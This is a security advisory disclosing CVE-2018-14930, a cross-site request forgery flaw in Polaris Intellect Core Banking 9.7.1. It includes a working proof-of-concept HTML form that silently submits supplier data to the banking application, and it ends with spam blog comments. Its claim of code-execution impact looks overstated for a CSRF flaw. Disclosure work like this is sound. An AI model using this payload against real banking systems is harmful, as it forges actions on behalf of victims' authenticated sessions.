Polaris’ Intellect Core Banking Software Version 9.7.1-Cross-Site Request Forgery [CVE-2018-14930]
[+] Credits: Neeraj
Kumar, Hai Dang Long
[+] Email:
neeraj.iiita2009@gmail.com
Vendor:
====================
Product:
===================
Polaris’
Intellect Core Banking, Core and Portal Module
Version:
===================
Affected
Version: 9.7.1
Vulnerability
Type:
==========================
Cross-Site
Request Forgery
CVE Reference:
==============
CVE-2018-14930
Vulnerability
Details:
======================
Polaris’
Intellect Core Banking Software is vulnerable to CSRF attack meaning an
attacker can perform malicious actions on behalf of valid user by sending
malicious links to authenticated user via phishing/social engineering methods.
CSRF POC Code-
======================
<html>
<! -- CSRF PoC-->
<body>
<form action="http://<Target-IP>/CollatWebApp/gcmsRefInsert?name=SUPP"
method="POST">
<input type="hidden"
name="txtSupcode" value="SAB" />
<input type="hidden"
name="txtSupname" value="as" />
<input type="hidden"
name="cboIdnType" value="SDKKD" />
<input type="hidden"
name="txtIdnNum" value="a" />
<input type="hidden"
name="txtAddress" value="as" />
<input type="hidden"
name="txtAddress1" value="s" />
<input type="hidden"
name="txtTownship" value="as" />
<input type="hidden"
name="txtCityDesc" value=" Test1 Test2" />
<input type="hidden"
name="txtCityCode" value="130300" />
<input type="hidden"
name="txtState" value=" Test3 Test4" />
<input type="hidden"
name="txtCountry" value="XYZ" />
<input type="hidden"
name="txtRegion" value="Test3 Test4" />
<input type="hidden"
name="txtZipcode" value="as" />
<input type="hidden"
name="txtTelno" value="111111111111111111111111111111"
/>
<input type="hidden"
name="txtContact" value="as" />
<input type="submit"
value="Submit request" />
</form>
</body>
</html>
Disclosure
Timeline:
=====================
Vendor
Notification: 17 June 2018
Mitre
Notification: 04 August 2018
Public
Disclosure: 31 March 2019
Attack Type:
=====================
Remote
Impact Code
execution:
=====================
True
Impact Information
Disclosure:
=====================
True
Reference:
=====================
[+] Disclaimer
=====================================================
The information contained within this advisory
is supplied "as-is" with no warranties or guarantees of fitness of
use or otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it, and that
due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the use
or misuse of this information. The author prohibits any malicious use of
security related information or exploits by the author or elsewhere. All
content (c).
ReplyDeletehttps://www.turnkeylinux.org/user/1184976
Nice blog!!
ReplyDeleteBanking Software
ReplyDeleteTechurate provides Smart and Digital software to financial institutions, of any size, anywhere in the world Our clients are the most profitable banks in the world
banking in africa
banking software
Banking automation software
Cloud banking solutions
smart biz
banking software solutions
digital banking software
wealth management software
This comment has been removed by the author.
ReplyDeletebanking software in india
ReplyDeleteTrue customer-centricity dictates that banks adapt to changed and changing customer expectations both retail and corporate. Customers have become accustomed to receiving multiple services through one window.